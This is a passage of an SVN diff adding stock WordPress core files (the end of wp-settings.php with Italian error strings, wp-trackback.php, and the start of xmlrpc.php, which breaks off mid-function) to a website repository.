+	die( /*WP_I18N_OLD_MYSQL*/'\'installazione PHP appare mancante dell\'estensione MySQL che Ãš necessario per utilizzare WordPress.'/*/WP_I18N_OLD_MYSQL*/ );
+
+/**
+ * PHP 4 standard microtime start capture.
+ *
+ * @access private
+ * @since 0.71
+ * @global int $timestart Seconds and Microseconds added together from when function is called.
+ * @return bool Always returns true.
+ */
+function timer_start() {
+	global $timestart;
+	$mtime = explode(' ', microtime() );
+	$mtime = $mtime[1] + $mtime[0];
+	$timestart = $mtime;
+	return true;
+}
+
+/**
+ * Return and/or display the time from the page start to when function is called.
+ *
+ * You can get the results and print them by doing:
+ * <code>
+ * $nTimePageTookToExecute = timer_stop();
+ * echo $nTimePageTookToExecute;
+ * </code>
+ *
+ * Or instead, you can do:
+ * <code>
+ * timer_stop(1);
+ * </code>
+ * which will do what the above does. If you need the result, you can assign it to a variable, but
+ * most cases, you only need to echo it.
+ *
+ * @since 0.71
+ * @global int $timestart Seconds and Microseconds added together from when timer_start() is called
+ * @global int $timeend  Seconds and Microseconds added together from when function is called
+ *
+ * @param int $display Use '0' or null to not echo anything and 1 to echo the total time
+ * @param int $precision The amount of digits from the right of the decimal to display. Default is 3.
+ * @return float The "second.microsecond" finished time calculation
+ */
+function timer_stop($display = 0, $precision = 3) { //if called like timer_stop(1), will echo $timetotal
+	global $timestart, $timeend;
+	$mtime = microtime();
+	$mtime = explode(' ',$mtime);
+	$mtime = $mtime[1] + $mtime[0];
+	$timeend = $mtime;
+	$timetotal = $timeend-$timestart;
+	$r = ( function_exists('number_format_i18n') ) ? number_format_i18n($timetotal, $precision) : number_format($timetotal, $precision);
+	if ( $display )
+		echo $r;
+	return $r;
+}
+timer_start();
+
+// Add define('WP_DEBUG',true); to wp-config.php to enable display of notices during development.
+if (defined('WP_DEBUG') and WP_DEBUG == true) {
+	error_reporting(E_ALL);
+} else {
+	if ( defined('E_RECOVERABLE_ERROR') )
+		error_reporting(E_ERROR | E_WARNING | E_PARSE | E_USER_ERROR | E_USER_WARNING | E_RECOVERABLE_ERROR);
+	else
+		error_reporting(E_ERROR | E_WARNING | E_PARSE | E_USER_ERROR | E_USER_WARNING);
+}
+
+// For an advanced caching plugin to use, static because you would only want one
+if ( defined('WP_CACHE') )
+	@include WP_CONTENT_DIR . '/advanced-cache.php';
+
+/**
+ * Stores the location of the WordPress directory of functions, classes, and core content.
+ *
+ * @since 1.0.0
+ */
+define('WPINC', 'wp-includes');
+
+if ( !defined('WP_LANG_DIR') ) {
+	/**
+	 * Stores the location of the language directory. First looks for language folder in WP_CONTENT_DIR
+	 * and uses that folder if it exists. Or it uses the "languages" folder in WPINC.
+	 *
+	 * @since 2.1.0
+	 */
+	if ( file_exists(WP_CONTENT_DIR . '/languages') && @is_dir(WP_CONTENT_DIR . '/languages') ) {
+		define('WP_LANG_DIR', WP_CONTENT_DIR . '/languages'); // no leading slash, no trailing slash, full path, not relative to ABSPATH
+		if (!defined('LANGDIR')) {
+			// Old static relative path maintained for limited backwards compatibility - won't work in some cases
+			define('LANGDIR', 'wp-content/languages');
+		}
+	} else {
+		define('WP_LANG_DIR', ABSPATH . WPINC . '/languages'); // no leading slash, no trailing slash, full path, not relative to ABSPATH
+		if (!defined('LANGDIR')) {
+			// Old relative path maintained for backwards compatibility
+			define('LANGDIR', WPINC . '/languages');
+		}
+	}
+}
+
+require (ABSPATH . WPINC . '/compat.php');
+require (ABSPATH . WPINC . '/functions.php');
+require (ABSPATH . WPINC . '/classes.php');
+
+require_wp_db();
+
+if ( !empty($wpdb->error) )
+	dead_db();
+
+/**
+ * Format specifiers for DB columns. Columns not listed here default to %s.
+ * @since 2.8.0
+ * @see wpdb:$field_types
+ * @see wpdb:prepare()
+ * @see wpdb:insert()
+ * @see wpdb:update()
+ */
+$wpdb->field_types = array( 'post_author' => '%d', 'post_parent' => '%d', 'menu_order' => '%d', 'term_id' => '%d', 'term_group' => '%d', 'term_taxonomy_id' => '%d',
+	'parent' => '%d', 'count' => '%d','object_id' => '%d', 'term_order' => '%d', 'ID' => '%d', 'commment_ID' => '%d', 'comment_post_ID' => '%d', 'comment_parent' => '%d',
+	'user_id' => '%d', 'link_id' => '%d', 'link_owner' => '%d', 'link_rating' => '%d', 'option_id' => '%d', 'blog_id' => '%d', 'meta_id' => '%d', 'post_id' => '%d',
+	'user_status' => '%d', 'umeta_id' => '%d', 'comment_karma' => '%d', 'comment_count' => '%d');
+
+$prefix = $wpdb->set_prefix($table_prefix);
+
+if ( is_wp_error($prefix) )
+	wp_die(/*WP_I18N_BAD_PREFIX*/'<strong>ERRORE</strong>: il <code>$table_prefix</code> in <code>wp-config.php</code> puÃ² contenere solo numeri, lettere e carattere di sottolineatura.'/*/WP_I18N_BAD_PREFIX*/);
+
+/**
+ * Copy an object.
+ *
+ * Returns a cloned copy of an object.
+ *
+ * @since 2.7.0
+ *
+ * @param object $object The object to clone
+ * @return object The cloned object
+ */
+function wp_clone( $object ) {
+	static $can_clone;
+	if ( !isset( $can_clone ) ) {
+		$can_clone = version_compare( phpversion(), '5.0', '>=' );
+	}
+	return $can_clone ? clone( $object ) : $object;
+}
+
+if ( file_exists(WP_CONTENT_DIR . '/object-cache.php') ) {
+	require_once (WP_CONTENT_DIR . '/object-cache.php');
+	$_wp_using_ext_object_cache = true;
+} else {
+	require_once (ABSPATH . WPINC . '/cache.php');
+	$_wp_using_ext_object_cache = false;
+}
+
+wp_cache_init();
+if ( function_exists('wp_cache_add_global_groups') ) {
+	wp_cache_add_global_groups(array ('users', 'userlogins', 'usermeta'));
+	wp_cache_add_non_persistent_groups(array( 'comment', 'counts', 'plugins' ));
+}
+
+require (ABSPATH . WPINC . '/plugin.php');
+require (ABSPATH . WPINC . '/default-filters.php');
+include_once(ABSPATH . WPINC . '/pomo/mo.php');
+require_once (ABSPATH . WPINC . '/l10n.php');
+
+if ( !is_blog_installed() && (strpos($_SERVER['PHP_SELF'], 'install.php') === false && !defined('WP_INSTALLING')) ) {
+	if ( defined('WP_SITEURL') )
+		$link = WP_SITEURL . '/wp-admin/install.php';
+	elseif (strpos($_SERVER['PHP_SELF'], 'wp-admin') !== false)
+		$link = preg_replace('|/wp-admin/?.*?$|', '/', $_SERVER['PHP_SELF']) . 'wp-admin/install.php';
+	else
+		$link = preg_replace('|/[^/]+?$|', '/', $_SERVER['PHP_SELF']) . 'wp-admin/install.php';
+	require_once(ABSPATH . WPINC . '/kses.php');
+	require_once(ABSPATH . WPINC . '/pluggable.php');
+	require_once(ABSPATH . WPINC . '/formatting.php');
+	wp_redirect($link);
+	die(); // have to die here ~ Mark
+}
+
+require (ABSPATH . WPINC . '/formatting.php');
+require (ABSPATH . WPINC . '/capabilities.php');
+require (ABSPATH . WPINC . '/query.php');
+require (ABSPATH . WPINC . '/theme.php');
+require (ABSPATH . WPINC . '/user.php');
+require (ABSPATH . WPINC . '/general-template.php');
+require (ABSPATH . WPINC . '/link-template.php');
+require (ABSPATH . WPINC . '/author-template.php');
+require (ABSPATH . WPINC . '/post.php');
+require (ABSPATH . WPINC . '/post-template.php');
+require (ABSPATH . WPINC . '/category.php');
+require (ABSPATH . WPINC . '/category-template.php');
+require (ABSPATH . WPINC . '/comment.php');
+require (ABSPATH . WPINC . '/comment-template.php');
+require (ABSPATH . WPINC . '/rewrite.php');
+require (ABSPATH . WPINC . '/feed.php');
+require (ABSPATH . WPINC . '/bookmark.php');
+require (ABSPATH . WPINC . '/bookmark-template.php');
+require (ABSPATH . WPINC . '/kses.php');
+require (ABSPATH . WPINC . '/cron.php');
+require (ABSPATH . WPINC . '/version.php');
+require (ABSPATH . WPINC . '/deprecated.php');
+require (ABSPATH . WPINC . '/script-loader.php');
+require (ABSPATH . WPINC . '/taxonomy.php');
+require (ABSPATH . WPINC . '/update.php');
+require (ABSPATH . WPINC . '/canonical.php');
+require (ABSPATH . WPINC . '/shortcodes.php');
+require (ABSPATH . WPINC . '/media.php');
+require (ABSPATH . WPINC . '/http.php');
+require (ABSPATH . WPINC . '/widgets.php');
+
+if ( !defined('WP_CONTENT_URL') )
+	define( 'WP_CONTENT_URL', get_option('siteurl') . '/wp-content'); // full url - WP_CONTENT_DIR is defined further up
+
+/**
+ * Allows for the plugins directory to be moved from the default location.
+ *
+ * @since 2.6.0
+ */
+if ( !defined('WP_PLUGIN_DIR') )
+	define( 'WP_PLUGIN_DIR', WP_CONTENT_DIR . '/plugins' ); // full path, no trailing slash
+
+/**
+ * Allows for the plugins directory to be moved from the default location.
+ *
+ * @since 2.6.0
+ */
+if ( !defined('WP_PLUGIN_URL') )
+	define( 'WP_PLUGIN_URL', WP_CONTENT_URL . '/plugins' ); // full url, no trailing slash
+
+/**
+ * Allows for the plugins directory to be moved from the default location.
+ *
+ * @since 2.1.0
+ */
+if ( !defined('PLUGINDIR') )
+	define( 'PLUGINDIR', 'wp-content/plugins' ); // Relative to ABSPATH.  For back compat.
+
+/**
+ * Allows for the mu-plugins directory to be moved from the default location.
+ *
+ * @since 2.8.0
+ */
+if ( !defined('WPMU_PLUGIN_DIR') )
+	define( 'WPMU_PLUGIN_DIR', WP_CONTENT_DIR . '/mu-plugins' ); // full path, no trailing slash
+
+/**
+ * Allows for the mu-plugins directory to be moved from the default location.
+ *
+ * @since 2.8.0
+ */
+if ( !defined('WPMU_PLUGIN_URL') )
+	define( 'WPMU_PLUGIN_URL', WP_CONTENT_URL . '/mu-plugins' ); // full url, no trailing slash
+
+/**
+ * Allows for the mu-plugins directory to be moved from the default location.
+ *
+ * @since 2.8.0
+ */
+if ( !defined( 'MUPLUGINDIR' ) )
+	define( 'MUPLUGINDIR', 'wp-content/mu-plugins' ); // Relative to ABSPATH.  For back compat.
+
+if ( is_dir( WPMU_PLUGIN_DIR ) ) {
+	if ( $dh = opendir( WPMU_PLUGIN_DIR ) ) {
+		while ( ( $plugin = readdir( $dh ) ) !== false ) {
+			if ( substr( $plugin, -4 ) == '.php' ) {
+				include_once( WPMU_PLUGIN_DIR . '/' . $plugin );
+			}
+		}
+	}
+}
+do_action('muplugins_loaded');
+
+/**
+ * Used to guarantee unique hash cookies
+ * @since 1.5
+ */
+define('COOKIEHASH', md5(get_option('siteurl')));
+
+/**
+ * Should be exactly the same as the default value of SECRET_KEY in wp-config-sample.php
+ * @since 2.5.0
+ */
+$wp_default_secret_key = 'put your unique phrase here';
+
+/**
+ * It is possible to define this in wp-config.php
+ * @since 2.0.0
+ */
+if ( !defined('USER_COOKIE') )
+	define('USER_COOKIE', 'wordpressuser_' . COOKIEHASH);
+
+/**
+ * It is possible to define this in wp-config.php
+ * @since 2.0.0
+ */
+if ( !defined('PASS_COOKIE') )
+	define('PASS_COOKIE', 'wordpresspass_' . COOKIEHASH);
+
+/**
+ * It is possible to define this in wp-config.php
+ * @since 2.5.0
+ */
+if ( !defined('AUTH_COOKIE') )
+	define('AUTH_COOKIE', 'wordpress_' . COOKIEHASH);
+
+/**
+ * It is possible to define this in wp-config.php
+ * @since 2.6.0
+ */
+if ( !defined('SECURE_AUTH_COOKIE') )
+	define('SECURE_AUTH_COOKIE', 'wordpress_sec_' . COOKIEHASH);
+
+/**
+ * It is possible to define this in wp-config.php
+ * @since 2.6.0
+ */
+if ( !defined('LOGGED_IN_COOKIE') )
+	define('LOGGED_IN_COOKIE', 'wordpress_logged_in_' . COOKIEHASH);
+
+/**
+ * It is possible to define this in wp-config.php
+ * @since 2.3.0
+ */
+if ( !defined('TEST_COOKIE') )
+	define('TEST_COOKIE', 'wordpress_test_cookie');
+
+/**
+ * It is possible to define this in wp-config.php
+ * @since 1.2.0
+ */
+if ( !defined('COOKIEPATH') )
+	define('COOKIEPATH', preg_replace('|https?://[^/]+|i', '', get_option('home') . '/' ) );
+
+/**
+ * It is possible to define this in wp-config.php
+ * @since 1.5.0
+ */
+if ( !defined('SITECOOKIEPATH') )
+	define('SITECOOKIEPATH', preg_replace('|https?://[^/]+|i', '', get_option('siteurl') . '/' ) );
+
+/**
+ * It is possible to define this in wp-config.php
+ * @since 2.6.0
+ */
+if ( !defined('ADMIN_COOKIE_PATH') )
+	define( 'ADMIN_COOKIE_PATH', SITECOOKIEPATH . 'wp-admin' );
+
+/**
+ * It is possible to define this in wp-config.php
+ * @since 2.6.0
+ */
+if ( !defined('PLUGINS_COOKIE_PATH') )
+	define( 'PLUGINS_COOKIE_PATH', preg_replace('|https?://[^/]+|i', '', WP_PLUGIN_URL)  );
+
+/**
+ * It is possible to define this in wp-config.php
+ * @since 2.0.0
+ */
+if ( !defined('COOKIE_DOMAIN') )
+	define('COOKIE_DOMAIN', false);
+
+/**
+ * It is possible to define this in wp-config.php
+ * @since 2.6.0
+ */
+if ( !defined('FORCE_SSL_ADMIN') )
+	define('FORCE_SSL_ADMIN', false);
+force_ssl_admin(FORCE_SSL_ADMIN);
+
+/**
+ * It is possible to define this in wp-config.php
+ * @since 2.6.0
+ */
+if ( !defined('FORCE_SSL_LOGIN') )
+	define('FORCE_SSL_LOGIN', false);
+force_ssl_login(FORCE_SSL_LOGIN);
+
+/**
+ * It is possible to define this in wp-config.php
+ * @since 2.5.0
+ */
+if ( !defined( 'AUTOSAVE_INTERVAL' ) )
+	define( 'AUTOSAVE_INTERVAL', 60 );
+
+
+require (ABSPATH . WPINC . '/vars.php');
+
+// make taxonomies available to plugins and themes
+// @plugin authors: warning: this gets registered again on the init hook
+create_initial_taxonomies();
+
+// Check for hacks file if the option is enabled
+if ( get_option('hack_file') ) {
+	if ( file_exists(ABSPATH . 'my-hacks.php') )
+		require(ABSPATH . 'my-hacks.php');
+}
+
+$current_plugins = get_option('active_plugins');
+if ( is_array($current_plugins) && !defined('WP_INSTALLING') ) {
+	foreach ( $current_plugins as $plugin ) {
+		// check the $plugin filename
+		// Validate plugin filename
+		if ( validate_file($plugin) // $plugin must validate as file
+			|| '.php' != substr($plugin, -4) // $plugin must end with '.php'
+			|| !file_exists(WP_PLUGIN_DIR . '/' . $plugin)	// $plugin must exist
+			)
+			continue;
+
+		include_once(WP_PLUGIN_DIR . '/' . $plugin);
+	}
+	unset($plugin);
+}
+unset($current_plugins);
+
+require (ABSPATH . WPINC . '/pluggable.php');
+
+/*
+ * In most cases the default internal encoding is latin1, which is of no use,
+ * since we want to use the mb_ functions for utf-8 strings
+ */
+if (function_exists('mb_internal_encoding')) {
+	if (!@mb_internal_encoding(get_option('blog_charset')))
+		mb_internal_encoding('UTF-8');
+}
+
+
+if ( defined('WP_CACHE') && function_exists('wp_cache_postload') )
+	wp_cache_postload();
+
+do_action('plugins_loaded');
+
+$default_constants = array( 'WP_POST_REVISIONS' => true );
+foreach ( $default_constants as $c => $v )
+	@define( $c, $v ); // will fail if the constant is already defined
+unset($default_constants, $c, $v);
+
+// If already slashed, strip.
+if ( get_magic_quotes_gpc() ) {
+	$_GET    = stripslashes_deep($_GET   );
+	$_POST   = stripslashes_deep($_POST  );
+	$_COOKIE = stripslashes_deep($_COOKIE);
+}
+
+// Escape with wpdb.
+$_GET    = add_magic_quotes($_GET   );
+$_POST   = add_magic_quotes($_POST  );
+$_COOKIE = add_magic_quotes($_COOKIE);
+$_SERVER = add_magic_quotes($_SERVER);
+
+do_action('sanitize_comment_cookies');
+
+/**
+ * WordPress Query object
+ * @global object $wp_the_query
+ * @since 2.0.0
+ */
+$wp_the_query =& new WP_Query();
+
+/**
+ * Holds the reference to @see $wp_the_query
+ * Use this global for WordPress queries
+ * @global object $wp_query
+ * @since 1.5.0
+ */
+$wp_query     =& $wp_the_query;
+
+/**
+ * Holds the WordPress Rewrite object for creating pretty URLs
+ * @global object $wp_rewrite
+ * @since 1.5.0
+ */
+$wp_rewrite   =& new WP_Rewrite();
+
+/**
+ * WordPress Object
+ * @global object $wp
+ * @since 2.0.0
+ */
+$wp           =& new WP();
+
+/**
+ * WordPress Widget Factory Object
+ * @global object $wp_widget_factory
+ * @since 2.8.0
+ */
+$wp_widget_factory =& new WP_Widget_Factory();
+
+do_action('setup_theme');
+
+/**
+ * Web Path to the current active template directory
+ * @since 1.5.0
+ */
+define('TEMPLATEPATH', get_template_directory());
+
+/**
+ * Web Path to the current active template stylesheet directory
+ * @since 2.1.0
+ */
+define('STYLESHEETPATH', get_stylesheet_directory());
+
+// Load the default text localization domain.
+load_default_textdomain();
+
+/**
+ * The locale of the blog
+ * @since 1.5.0
+ */
+$locale = get_locale();
+$locale_file = WP_LANG_DIR . "/$locale.php";
+if ( is_readable($locale_file) )
+	require_once($locale_file);
+
+// Pull in locale data after loading text domain.
+require_once(ABSPATH . WPINC . '/locale.php');
+
+/**
+ * WordPress Locale object for loading locale domain date and various strings.
+ * @global object $wp_locale
+ * @since 2.1.0
+ */
+$wp_locale =& new WP_Locale();
+
+// Load functions for active theme.
+if ( TEMPLATEPATH !== STYLESHEETPATH && file_exists(STYLESHEETPATH . '/functions.php') )
+	include(STYLESHEETPATH . '/functions.php');
+if ( file_exists(TEMPLATEPATH . '/functions.php') )
+	include(TEMPLATEPATH . '/functions.php');
+
+/**
+ * Runs just before PHP shuts down execution.
+ *
+ * @access private
+ * @since 1.2.0
+ */
+function shutdown_action_hook() {
+	do_action('shutdown');
+	wp_cache_close();
+}
+register_shutdown_function('shutdown_action_hook');
+
+$wp->init();  // Sets up current user.
+
+// Everything is loaded and initialized.
+do_action('init');
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-trackback.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-trackback.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-trackback.php	(revision 44)
@@ -0,0 +1,111 @@
+<?php
+/**
+ * Handle Trackbacks and Pingbacks sent to WordPress
+ *
+ * @package WordPress
+ */
+
+if (empty($wp)) {
+	require_once('./wp-load.php');
+	wp('tb=1');
+}
+
+/**
+ * trackback_response() - Respond with error or success XML message
+ *
+ * @param int|bool $error Whether there was an error or not
+ * @param string $error_message Error message if an error occurred
+ */
+function trackback_response($error = 0, $error_message = '') {
+	header('Content-Type: text/xml; charset=' . get_option('blog_charset') );
+	if ($error) {
+		echo '<?xml version="1.0" encoding="utf-8"?'.">\n";
+		echo "<response>\n";
+		echo "<error>1</error>\n";
+		echo "<message>$error_message</message>\n";
+		echo "</response>";
+		die();
+	} else {
+		echo '<?xml version="1.0" encoding="utf-8"?'.">\n";
+		echo "<response>\n";
+		echo "<error>0</error>\n";
+		echo "</response>";
+	}
+}
+
+// trackback is done by a POST
+$request_array = 'HTTP_POST_VARS';
+
+if ( !$_GET['tb_id'] ) {
+	$tb_id = explode('/', $_SERVER['REQUEST_URI']);
+	$tb_id = intval( $tb_id[ count($tb_id) - 1 ] );
+}
+
+$tb_url  = $_POST['url'];
+$charset = $_POST['charset'];
+
+// These three are stripslashed here so that they can be properly escaped after mb_convert_encoding()
+$title     = stripslashes($_POST['title']);
+$excerpt   = stripslashes($_POST['excerpt']);
+$blog_name = stripslashes($_POST['blog_name']);
+
+if ($charset)
+	$charset = strtoupper( trim($charset) );
+else
+	$charset = 'ASCII, UTF-8, ISO-8859-1, JIS, EUC-JP, SJIS';
+
+// No valid uses for UTF-7
+if ( false !== strpos($charset, 'UTF-7') )
+	die;
+
+if ( function_exists('mb_convert_encoding') ) { // For international trackbacks
+	$title     = mb_convert_encoding($title, get_option('blog_charset'), $charset);
+	$excerpt   = mb_convert_encoding($excerpt, get_option('blog_charset'), $charset);
+	$blog_name = mb_convert_encoding($blog_name, get_option('blog_charset'), $charset);
+}
+
+// Now that mb_convert_encoding() has been given a swing, we need to escape these three
+$title     = $wpdb->escape($title);
+$excerpt   = $wpdb->escape($excerpt);
+$blog_name = $wpdb->escape($blog_name);
+
+if ( is_single() || is_page() )
+	$tb_id = $posts[0]->ID;
+
+if ( !intval( $tb_id ) )
+	trackback_response(1, 'I really need an ID for this to work.');
+
+if (empty($title) && empty($tb_url) && empty($blog_name)) {
+	// If it doesn't look like a trackback at all...
+	wp_redirect(get_permalink($tb_id));
+	exit;
+}
+
+if ( !empty($tb_url) && !empty($title) ) {
+	header('Content-Type: text/xml; charset=' . get_option('blog_charset') );
+
+	if ( !pings_open($tb_id) )
+		trackback_response(1, 'Sorry, trackbacks are closed for this item.');
+
+	$title =  wp_html_excerpt( $title, 250 ).'...';
+	$excerpt = wp_html_excerpt( $excerpt, 252 ).'...';
+
+	$comment_post_ID = (int) $tb_id;
+	$comment_author = $blog_name;
+	$comment_author_email = '';
+	$comment_author_url = $tb_url;
+	$comment_content = "<strong>$title</strong>\n\n$excerpt";
+	$comment_type = 'trackback';
+
+	$dupe = $wpdb->get_results( $wpdb->prepare("SELECT * FROM $wpdb->comments WHERE comment_post_ID = %d AND comment_author_url = %s", $comment_post_ID, $comment_author_url) );
+	if ( $dupe )
+		trackback_response(1, 'We already have a ping from that URL for this post.');
+
+	$commentdata = compact('comment_post_ID', 'comment_author', 'comment_author_email', 'comment_author_url', 'comment_content', 'comment_type');
+
+	wp_new_comment($commentdata);
+
+	do_action('trackback_post', $wpdb->insert_id);
+	trackback_response(0);
+}
+?>
Index: /trunk/www.guidonia.net/wp/xmlrpc.php
===================================================================
--- /trunk/www.guidonia.net/wp/xmlrpc.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/xmlrpc.php	(revision 44)
@@ -0,0 +1,3407 @@
+<?php
+/**
+ * XML-RPC protocol support for WordPress
+ *
+ * @license GPL v2 <./license.txt>
+ * @package WordPress
+ */
+
+/**
+ * Whether this is a XMLRPC Request
+ *
+ * @var bool
+ */
+define('XMLRPC_REQUEST', true);
+
+// Some browser-embedded clients send cookies. We don't want them.
+$_COOKIE = array();
+
+// A bug in PHP < 5.2.2 makes $HTTP_RAW_POST_DATA not set by default,
+// but we can do it ourself.
+if ( !isset( $HTTP_RAW_POST_DATA ) ) {
+	$HTTP_RAW_POST_DATA = file_get_contents( 'php://input' );
+}
+
+// fix for mozBlog and other cases where '<?xml' isn't on the very first line
+if ( isset($HTTP_RAW_POST_DATA) )
+	$HTTP_RAW_POST_DATA = trim($HTTP_RAW_POST_DATA);
+
+/** Include the bootstrap for setting up WordPress environment */
+include('./wp-load.php');
+
+if ( isset( $_GET['rsd'] ) ) { // http://archipelago.phrasewise.com/rsd
+header('Content-Type: text/xml; charset=' . get_option('blog_charset'), true);
+?>
+<?php echo '<?xml version="1.0" encoding="'.get_option('blog_charset').'"?'.'>'; ?>
+<rsd version="1.0" xmlns="http://archipelago.phrasewise.com/rsd">
+  <service>
+    <engineName>WordPress</engineName>
+    <engineLink>http://wordpress.org/</engineLink>
+    <homePageLink><?php bloginfo_rss('url') ?></homePageLink>
+    <apis>
+      <api name="WordPress" blogID="1" preferred="true" apiLink="<?php echo site_url('xmlrpc.php', 'rpc') ?>" />
+      <api name="Movable Type" blogID="1" preferred="false" apiLink="<?php echo site_url('xmlrpc.php', 'rpc') ?>" />
+      <api name="MetaWeblog" blogID="1" preferred="false" apiLink="<?php echo site_url('xmlrpc.php', 'rpc') ?>" />
+      <api name="Blogger" blogID="1" preferred="false" apiLink="<?php echo site_url('xmlrpc.php', 'rpc') ?>" />
+      <api name="Atom" blogID="" preferred="false" apiLink="<?php echo apply_filters('atom_service_url', site_url('wp-app.php/service', 'rpc') ) ?>" />
+    </apis>
+  </service>
+</rsd>
+<?php
+exit;
+}
+
+include_once(ABSPATH . 'wp-admin/includes/admin.php');
+include_once(ABSPATH . WPINC . '/class-IXR.php');
+
+// Turn off all warnings and errors.
+// error_reporting(0);
+
+/**
+ * Posts submitted via the xmlrpc interface get that title
+ * @name post_default_title
+ * @var string
+ */
+$post_default_title = "";
+
+/**
+ * Whether to enable XMLRPC Logging.
+ *
+ * @name xmlrpc_logging
+ * @var int|bool
+ */
+$xmlrpc_logging = 0;
+
+/**
+ * logIO() - Writes logging info to a file.
+ *
+ * @uses $xmlrpc_logging
+ * @package WordPress
+ * @subpackage Logging
+ *
+ * @param string $io Whether input or output
+ * @param string $msg Information describing logging reason.
+ * @return bool Always return true
+ */
+function logIO($io,$msg) {
+	global $xmlrpc_logging;
+	if ($xmlrpc_logging) {
+		$fp = fopen("../xmlrpc.log","a+");
+		$date = gmdate("Y-m-d H:i:s ");
+		$iot = ($io == "I") ? " Input: " : " Output: ";
+		fwrite($fp, "\n\n".$date.$iot.$msg);
+		fclose($fp);
+	}
+	return true;
+}
+
+if ( isset($HTTP_RAW_POST_DATA) )
+	logIO("I", $HTTP_RAW_POST_DATA);
+
+/**
+ * WordPress XMLRPC server implementation.
+ *
+ * Implements compatability for Blogger API, MetaWeblog API, MovableType, and
+ * pingback. Additional WordPress API for managing comments, pages, posts,
+ * options, etc.
+ *
+ * Since WordPress 2.6.0, WordPress XMLRPC server can be disabled in the
+ * administration panels.
+ *
+ * @package WordPress
+ * @subpackage Publishing
+ * @since 1.5.0
+ */
+class wp_xmlrpc_server extends IXR_Server {
+
+	/**
+	 * Register all of the XMLRPC methods that XMLRPC server understands.
+	 *
+	 * PHP4 constructor and sets up server and method property. Passes XMLRPC
+	 * methods through the 'xmlrpc_methods' filter to allow plugins to extend
+	 * or replace XMLRPC methods.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @return wp_xmlrpc_server
+	 */
+	function wp_xmlrpc_server() {
+		$this->methods = array(
+			// WordPress API
+			'wp.getUsersBlogs'		=> 'this:wp_getUsersBlogs',
+			'wp.getPage'			=> 'this:wp_getPage',
+			'wp.getPages'			=> 'this:wp_getPages',
+			'wp.newPage'			=> 'this:wp_newPage',
+			'wp.deletePage'			=> 'this:wp_deletePage',
+			'wp.editPage'			=> 'this:wp_editPage',
+			'wp.getPageList'		=> 'this:wp_getPageList',
+			'wp.getAuthors'			=> 'this:wp_getAuthors',
+			'wp.getCategories'		=> 'this:mw_getCategories',		// Alias
+			'wp.getTags'			=> 'this:wp_getTags',
+			'wp.newCategory'		=> 'this:wp_newCategory',
+			'wp.deleteCategory'		=> 'this:wp_deleteCategory',
+			'wp.suggestCategories'	=> 'this:wp_suggestCategories',
+			'wp.uploadFile'			=> 'this:mw_newMediaObject',	// Alias
+			'wp.getCommentCount'	=> 'this:wp_getCommentCount',
+			'wp.getPostStatusList'	=> 'this:wp_getPostStatusList',
+			'wp.getPageStatusList'	=> 'this:wp_getPageStatusList',
+			'wp.getPageTemplates'	=> 'this:wp_getPageTemplates',
+			'wp.getOptions'			=> 'this:wp_getOptions',
+			'wp.setOptions'			=> 'this:wp_setOptions',
+			'wp.getComment'			=> 'this:wp_getComment',
+			'wp.getComments'		=> 'this:wp_getComments',
+			'wp.deleteComment'		=> 'this:wp_deleteComment',
+			'wp.editComment'		=> 'this:wp_editComment',
+			'wp.newComment'			=> 'this:wp_newComment',
+			'wp.getCommentStatusList' => 'this:wp_getCommentStatusList',
+
+			// Blogger API
+			'blogger.getUsersBlogs' => 'this:blogger_getUsersBlogs',
+			'blogger.getUserInfo' => 'this:blogger_getUserInfo',
+			'blogger.getPost' => 'this:blogger_getPost',
+			'blogger.getRecentPosts' => 'this:blogger_getRecentPosts',
+			'blogger.getTemplate' => 'this:blogger_getTemplate',
+			'blogger.setTemplate' => 'this:blogger_setTemplate',
+			'blogger.newPost' => 'this:blogger_newPost',
+			'blogger.editPost' => 'this:blogger_editPost',
+			'blogger.deletePost' => 'this:blogger_deletePost',
+
+			// MetaWeblog API (with MT extensions to structs)
+			'metaWeblog.newPost' => 'this:mw_newPost',
+			'metaWeblog.editPost' => 'this:mw_editPost',
+			'metaWeblog.getPost' => 'this:mw_getPost',
+			'metaWeblog.getRecentPosts' => 'this:mw_getRecentPosts',
+			'metaWeblog.getCategories' => 'this:mw_getCategories',
+			'metaWeblog.newMediaObject' => 'this:mw_newMediaObject',
+
+			// MetaWeblog API aliases for Blogger API
+			// see http://www.xmlrpc.com/stories/storyReader$2460
+			'metaWeblog.deletePost' => 'this:blogger_deletePost',
+			'metaWeblog.getTemplate' => 'this:blogger_getTemplate',
+			'metaWeblog.setTemplate' => 'this:blogger_setTemplate',
+			'metaWeblog.getUsersBlogs' => 'this:blogger_getUsersBlogs',
+
+			// MovableType API
+			'mt.getCategoryList' => 'this:mt_getCategoryList',
+			'mt.getRecentPostTitles' => 'this:mt_getRecentPostTitles',
+			'mt.getPostCategories' => 'this:mt_getPostCategories',
+			'mt.setPostCategories' => 'this:mt_setPostCategories',
+			'mt.supportedMethods' => 'this:mt_supportedMethods',
+			'mt.supportedTextFilters' => 'this:mt_supportedTextFilters',
+			'mt.getTrackbackPings' => 'this:mt_getTrackbackPings',
+			'mt.publishPost' => 'this:mt_publishPost',
+
+			// PingBack
+			'pingback.ping' => 'this:pingback_ping',
+			'pingback.extensions.getPingbacks' => 'this:pingback_extensions_getPingbacks',
+
+			'demo.sayHello' => 'this:sayHello',
+			'demo.addTwoNumbers' => 'this:addTwoNumbers'
+		);
+
+		$this->initialise_blog_option_info( );
+		$this->methods = apply_filters('xmlrpc_methods', $this->methods);
+		$this->IXR_Server($this->methods);
+	}
+
+	/**
+	 * Test XMLRPC API by saying, "Hello!" to client.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param array $args Method Parameters.
+	 * @return string
+	 */
+	function sayHello($args) {
+		return 'Hello!';
+	}
+
+	/**
+	 * Test XMLRPC API by adding two numbers for client.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param array $args Method Parameters.
+	 * @return int
+	 */
+	function addTwoNumbers($args) {
+		$number1 = $args[0];
+		$number2 = $args[1];
+		return $number1 + $number2;
+	}
+
+	/**
+	 * Check user's credentials.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param string $user_login User's username.
+	 * @param string $user_pass User's password.
+	 * @return bool Whether authentication passed.
+	 * @deprecated use wp_xmlrpc_server::login
+	 * @see wp_xmlrpc_server::login
+	 */
+	function login_pass_ok($user_login, $user_pass) {
